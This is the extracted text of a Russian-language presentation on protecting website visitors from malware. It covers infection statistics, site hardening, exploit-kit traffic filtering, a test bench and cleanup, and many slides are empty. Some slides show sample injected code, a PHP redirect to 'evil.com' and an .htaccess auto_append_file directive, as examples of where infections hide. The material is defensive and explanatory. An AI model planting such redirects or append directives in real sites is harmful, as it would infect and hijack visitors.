35
1

как не заразить посетителей своего сайта All а.сидоров, п.волков

  • Upload
    ontico

  • View
    353

  • Download
    0

Embed Size (px)

Citation preview

Page 1: как не заразить посетителей своего сайта All   а.сидоров, п.волков

1

Page 2: как не заразить посетителей своего сайта All   а.сидоров, п.волков

в сутки Яндекс находит более 1400 новых заражений сайтов

всего Яндексу известно более 230k заражённых сайтов

за год было 121 случай заражения сайтов, которые знают все

обычные массовые заражения

2

Page 3: как не заразить посетителей своего сайта All   а.сидоров, п.волков

(в 99% случаев пользователи не переходят на заражённые сайты, на выдаче – по 10 документов)

2 массовых заражения со взломами, 1 партнёрская система, заражающая

пользователей через свои блоки на «выгодных» для сайтов условиях

3

Page 4: как не заразить посетителей своего сайта All   а.сидоров, п.волков

пользователям

не терять деньги (кража, мошенничество), ценные данные, время на лечение компьютеров, репутацию

интернету

существовать (быть полезным для людей), без DDoS’ов, накрутки, спама

интернет-индустрия сможет получать больше денег, если в интернете станет безопаснее (онлайн-банкинг, электронные платёжные системы, веб-магазины)

злоумышленникам

пойти заниматься чем-нибудь полезным

4

Page 5: как не заразить посетителей своего сайта All   а.сидоров, п.волков

сайту – чтобы его трафик, пользователи (→ деньги) не доставались другим

не редиректить на другие сайты

не заражать компьютеры пользователей

не показывать чужих ссылок и рекламы

не терять имидж и доверие

заражение – 99% трафика, поисковый спам до – 100% трафика

поисковой системе – чтобы было, чем отвечать на запросы пользователей

заражённые, испорченные, перенаправляющие сайты – это плохой ответ

5

Page 6: как не заразить посетителей своего сайта All   а.сидоров, п.волков

6

Page 7: как не заразить посетителей своего сайта All   а.сидоров, п.волков

7

Page 8: как не заразить посетителей своего сайта All   а.сидоров, п.волков

контроль ввода данных (WAF) – защита от атак XSS, Injection

контроль операций ( Insecure Direct Object References ) – защита от IDOR, CSRF, закрытие доступа к админкам, бэкапам, SVN

обновлять CMS и серверное ПО, минимум «кустарных» модулей, отключать лишнее, следить за новостями об уязвимостях своей CMS

Пример другого серверного ПО – OpenX, phpMyAdmin

сложный пароль от веб-сервера (FTP, SSH, админ-панели хостинга, CMS)

8

Page 9: как не заразить посетителей своего сайта All   а.сидоров, п.волков

компьютер вебмастера – тоже защищён от malware

минимум служебных данных (например, версия сервера или CMS)

анти-кликджекинг

Js-проверки

if (top != window) top.location = window.location

top.location = 'http://example.com'

HTTP-Header

X-FRAME-OPTIONS SAMEORIGIN

X-FRAME-OPTIONS DENY

9

Page 10: как не заразить посетителей своего сайта All   а.сидоров, п.волков

блоки и реклама

избегать «уникальных предложений» (подозрительно высокая плата за счётчики и блоки, монетизация мобильного трафика) – вместо денег отсутствие трафика и потеря позиций в поисковых системах

использовать партнёрские программы со скрытыми блоками – опасно

блоки и реклама – только от проверенных систем

по возможности принимать только статический контент (ссылки, картинки. Не скрипты и не фреймы)

о новых партнерках – искать отзывы, проверять, что через них приходит

рассказ про траффбиз

дистрибутивы

осторожнее с дистрибутивами CMS из сомнительных источников, виджетами и чужими библиотеками

случай с DLE

постоянные проблемы с wordpress-темами

10

Page 11: как не заразить посетителей своего сайта All   а.сидоров, п.волков

всякие радио-виджеты для ucoz

контроль служебного доступа

рассказ про утечку базы FTP

та же ситуация с различными фрилансерами – периодически приходят жалобы на заражения после их работы (особенно если их обидели, ну и утечь может от них)

качественный хостинг

телекомы тоже страдают (см. статью в блоге)

10

Page 12: как не заразить посетителей своего сайта All   а.сидоров, п.волков

валидация данных

нет javascript в <script>, тегах, гиперссылках

нет <iframe>, <object>, <embed>, список разрешённых HTML-тегов

11

Page 13: как не заразить посетителей своего сайта All   а.сидоров, п.волков

12

Page 14: как не заразить посетителей своего сайта All   а.сидоров, п.волков

В двух словах:

На зараженном сайте происходит подгрузка/перенаправление на систему распределения траффика, цель которой

– отфильтровать потенциальных жертв по критериям:

1. Уникальный заход (1 перенаправление на 1 ip, cookie итп).

2. Уязвимые версии операционной системы, браузера и прочего ПО, например flash, acrobat, JRE.

3. Проверка подгрузки с зараженного сайта с реферером поисковой выдачи.

4. Различные попытки отсева запросов поисковых роботов и антивирусных систем.

5. Дополнительные критерии, например время суток.

Если все критерии пройдены – перенаправление на связвку эксплоитов для заданных ОС и ПО.

Задача связки эксплоитов – установить в ОС вредоносное ПО ( бинарный файл ).

Действия вредоносного ПО внутри ОС зараженного компьютера – тема для отдельной презентации.

13

Page 15: как не заразить посетителей своего сайта All   а.сидоров, п.волков

по возможности посмотреть через прокси / попросить товарища посмотреть из дома

тестовый стенд

Windows XP на виртуальной машине, IE+FF+Chrome+Opera без cookies и истории посещений

Желательно IE6 и не последние версии Java, Acrobat Reader, Flash

после каждого просмотра страницы – revert к исходному образу

14

Page 16: как не заразить посетителей своего сайта All   а.сидоров, п.волков

15

Page 17: как не заразить посетителей своего сайта All   а.сидоров, п.волков

16

Page 18: как не заразить посетителей своего сайта All   а.сидоров, п.волков

17

Page 19: как не заразить посетителей своего сайта All   а.сидоров, п.волков

18

Page 20: как не заразить посетителей своего сайта All   а.сидоров, п.волков

19

Page 21: как не заразить посетителей своего сайта All   а.сидоров, п.волков

0. в коде

<?php

header(“Location: evil.com”);

?>

в настройках веб-сервера или интерпретатора

.htaccess

php_value auto_append_file “\tmp\evil.txt«

если сайт статический

на соседнем сайте shared-хостинга, а также, вероятнее всего, утечка реквизитов доступа, либо заражение всего сервера

если серверный редирект, в т.ч. работающий только для мобильных – .htaccess, в т.ч. конструкции для mod_rewrite

если строки в конце страниц – в шаблонах CMS

20

Page 22: как не заразить посетителей своего сайта All   а.сидоров, п.волков

если до или после обычного блока <html> – возможно, в настройках веб-сервера или интерпретатора

20

Page 23: как не заразить посетителей своего сайта All   а.сидоров, п.волков

21

Page 24: как не заразить посетителей своего сайта All   а.сидоров, п.волков

22

Page 25: как не заразить посетителей своего сайта All   а.сидоров, п.волков

в 90% случаев на сервере есть backdoor – найти!

обычно web-shell, но бывают и tcp-bind шеллы

23

Page 26: как не заразить посетителей своего сайта All   а.сидоров, п.волков

И потом 2 недели следить

24

Page 27: как не заразить посетителей своего сайта All   а.сидоров, п.волков

вообще надо сказать, что хорошо помимо, регистрации стандартных абуз-адресов, указать их на сайте в разделе контакты и удостовериться, что администратор регулярно обрабатывает сообщения в них (просто формально класть в issue tracker недостаточно)

трафик сайта и статистика переходов: Метрика

аномалии

книга жалоб для пользователей

нужно поддерживать форму для отправки жалоб и/или указать email-адреса администратора

25

Page 28: как не заразить посетителей своего сайта All   а.сидоров, п.волков

26

Page 29: как не заразить посетителей своего сайта All   а.сидоров, п.волков

27

Page 30: как не заразить посетителей своего сайта All   а.сидоров, п.волков

+ Яндекс.XML: результаты поиска + информация о заражённых документах

28

Page 31: как не заразить посетителей своего сайта All   а.сидоров, п.волков

мы стараемся для вас, и помогаем вам вылечить ваши сайты

мы понимаем, что потеря трафика – это плохо для сайта, но не давать пользователям заразиться - важнее

Яндекс размечает, только если действительно обнаружил malware, точность – от 99.5% до 99.98% (для разных детекторов разная)

ваш сайт тоже может заразиться самым неожиданным способом, если вы не нашли malware на сайте – поищите ещё раз

если антивирусы не находят – это тоже не значит, что malware нет

мы не реагируем только по факту обфускации, или если блок находится в неположенном месте, а детектируем именно вредоносный код

бывает, что нас пытаются обмануть, но это нам очень хорошо видно, не надо тратить на это время

29

Page 32: как не заразить посетителей своего сайта All   а.сидоров, п.волков

30

Page 33: как не заразить посетителей своего сайта All   а.сидоров, п.волков

31

Page 34: как не заразить посетителей своего сайта All   а.сидоров, п.волков

32

Page 35: как не заразить посетителей своего сайта All   а.сидоров, п.волков

Почта, твиттеры

33